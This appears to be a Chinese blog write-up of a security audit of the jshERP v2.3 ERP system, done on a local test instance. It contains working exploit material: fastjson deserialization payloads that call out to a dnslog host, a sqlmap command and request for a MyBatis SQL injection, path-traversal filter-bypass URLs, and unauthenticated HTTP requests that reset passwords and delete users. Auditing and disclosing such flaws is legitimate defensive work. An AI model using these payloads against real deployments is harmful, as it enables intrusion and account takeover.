华夏ERP代码审计

前言

介绍

华夏ERP(英文名:jshERP)是一款人气领先的国产ERP系统,目前拥有进销存+财务+生产的功能,我们对其2.3版本进行代码审计.

环境搭建

下载源码后,直接使用IDEA打开,因为项目使用springboot搭建,所以无需手动配置服务器。若再次打开时启动处报错,可删除文件夹.idea重新打开。

启动本地Mysql,在 src/main/resources/application.properties中修改Mysql账号密码。创建并导入数据库

create database java_sec_code;
use java_sec_code;
source \JSH_ERP-v2.3\docs\jsh_erp.sql;

漏洞分析

fastjson1

全局搜索parseObject,可以得到很多结果,这里需要耐心具体分析能不能利用。

我们先分析MaterialController.java这个类,可以看到从路径getMaterialEnableSerialNumberList获取search参数,并传给了JSON.parseObject()方法。

getMaterialEnableSerialNumberList的意思是”获取材料启用序列号列表”,且该方法为GET方法,浏览查找后台功能,不断点击,并使用burp抓包观察,最终在商品管理—序列号—新增—商品名称搜索框找到了这个路径。

将search的值替换为URL编码后的payload

{"@type":"java.net.Inet4Address","val":"ud50f5.dnslog.cn"}

%7b%22%40%74%79%70%65%22%3a%22%6a%61%76%61%2e%6e%65%74%2e%49%6e%65%74%34%41%64%64%72%65%73%73%22%2c%22%76%61%6c%22%3a%22%75%64%35%30%66%35%2e%64%6e%73%6c%6f%67%2e%63%6e%22%7d

发送请求

DNS回显

fastjson2

再来看一个调用链稍微长的fastjson漏洞触发点。

在StringUtil.java文件的getInfo方法里也用到了JSONObject.parseObject()方法.

再搜索何处调用了StringUtil.getInfo()方法,发现有很多结果

我们看UserComponent.java文件中的getUserList()方法。

同文件中的select()方法调用了getUserList()方法。

再使用全局搜寻select的方式去寻找调用似乎很困难,这里光标选中select,右键”查找使用“(Alt+F7)。

同样的方式再去寻找CommonQueryManager.java#select()的调用,最终来到了ResourceController.java的getList方法。到这里调用链便与前端交互了。

看下代码,从路径”/{apiName}/list”处获取请求参数”search“,将其添加到parameterMap中,再将其传入configResourceManager.select()方法,最终触发漏洞。

如何找到前端中对应的功能点呢?我这里还是开着burp,不断浏览点击前端页面,再在burp的HTTP history中过滤包含”/list“的请求。可以看到很多结果。

随便选一个,将search的值替换为URL编码后的payload,发送请求,可以收到DNS响应。

这个漏洞与前一个是一样的,只是触发过程中调用的函数多一些,故记录一下。

SQL注入

查看pom.xml文件,使用了mybatis,全局搜索”${“关键字

查看AccountItemMapperEx.xml文件的selectByConditionAccountItem()方法

再在java文件中查找调用selectByConditionAccountItem()方法的地方,有一处调用,在AccountItemMapperEx.java文件中

不断跟进调用,发现与fastjson的调用顺序是一样的,最终来到ResourceController.java的getList方法。

分析下代码流程,从请求中获取search值,放入parameterMap中,键为Constants.SEARCH。

调用CommonQueryManager.java的select函数

调用AccountItemComponent.java的select()和getAccountItemList()方法。先从parameterMap根据键值获取search,再从search获取“name”等的值

    private List<?> getAccountItemList(Map<String, String> map) throws Exception{
        String search = map.get(Constants.SEARCH);
        String name = StringUtil.getInfo(search, "name");
        Integer type = StringUtil.parseInteger(StringUtil.getInfo(search, "type"));
        String remark = StringUtil.getInfo(search, "remark");
        String order = QueryUtils.order(map);
        return accountItemService.select(name, type, remark, QueryUtils.offset(map), QueryUtils.rows(map));
    }

再调用AccountItemService.java的select方法,之后便是通过mabatis的映射accountItemMapperEx.selectByConditionAccountItem执行SQL查询了。

    public List<AccountItem> select(String name, Integer type, String remark, int offset, int rows)throws Exception {
        List<AccountItem> list=null;
        try{
            list = accountItemMapperEx.selectByConditionAccountItem(name, type, remark, offset, rows);
        }catch(Exception e){
            JshException.readFail(logger, e);
        }
        return list;
    }

我们找一个该路径的请求包,发现search字段有一个键为”name”的json串。

直接放sqlmap,不加”–level 3″选项没跑出来

python.exe .\sqlmap.py -r .\t1.txt  --dbms Mysql --level 3 --dbs

GET /unit/list?search=%7B%22name%22%3A%22*%22%7D&currentPage=1&pageSize=10 HTTP/1.1
Host: 127.0.0.1:8087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8087/pages/manage/unit.html
Cookie: JSESSIONID=DCFDC311A8A42A734CD7775A58F7CBFE; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1685945479; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1685952011
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

Filter越权漏洞

审计开始时除了关注pom文件,还需要关注的是各个filter文件。

项目只有一个LogCostFilter.java文件,使用@WebInitParam注解配置多个 name,对.css#.js#.jpg#.png#.gif#.ico,/user/login#/user/registerUser#/v2/api-docs(以”#”分隔)资源请求的时候不会进行拦截。

再看doFilter方法,如果包含register.html,login.html,doc.html页面,不阻拦

正常业务URL加白

http://127.0.0.1:8087/login.html/../home.html

资源加白

http://127.0.0.1:8087/1.css/../home.html

逻辑越权漏洞

重置密码

POST /doc.html/../user/resetPwd HTTP/1.1
Host: 127.0.0.1:8087
Content-Length: 6
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://127.0.0.1:8087
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.9.5.1000 Chrome/39.0.2146.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Referer: http://127.0.0.1:8087/pages/manage/user.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN
Connection: close

id=131

删除用户

POST /user/deleteUser HTTP/1.1
Host: 192.168.159.1:8087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 7
Origin: http://192.168.159.1:8087
Connection: close
Referer: http://192.168.159.1:8087/pages/manage/user.html
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1685963817; JSESSIONID=F2ECAEDEF58B125CF730FA855FBBF6DA; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1685965859

ids=131

XSS

网站进行XSS过滤,很多可输入字符的地方都可以造成存储下XSS.

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇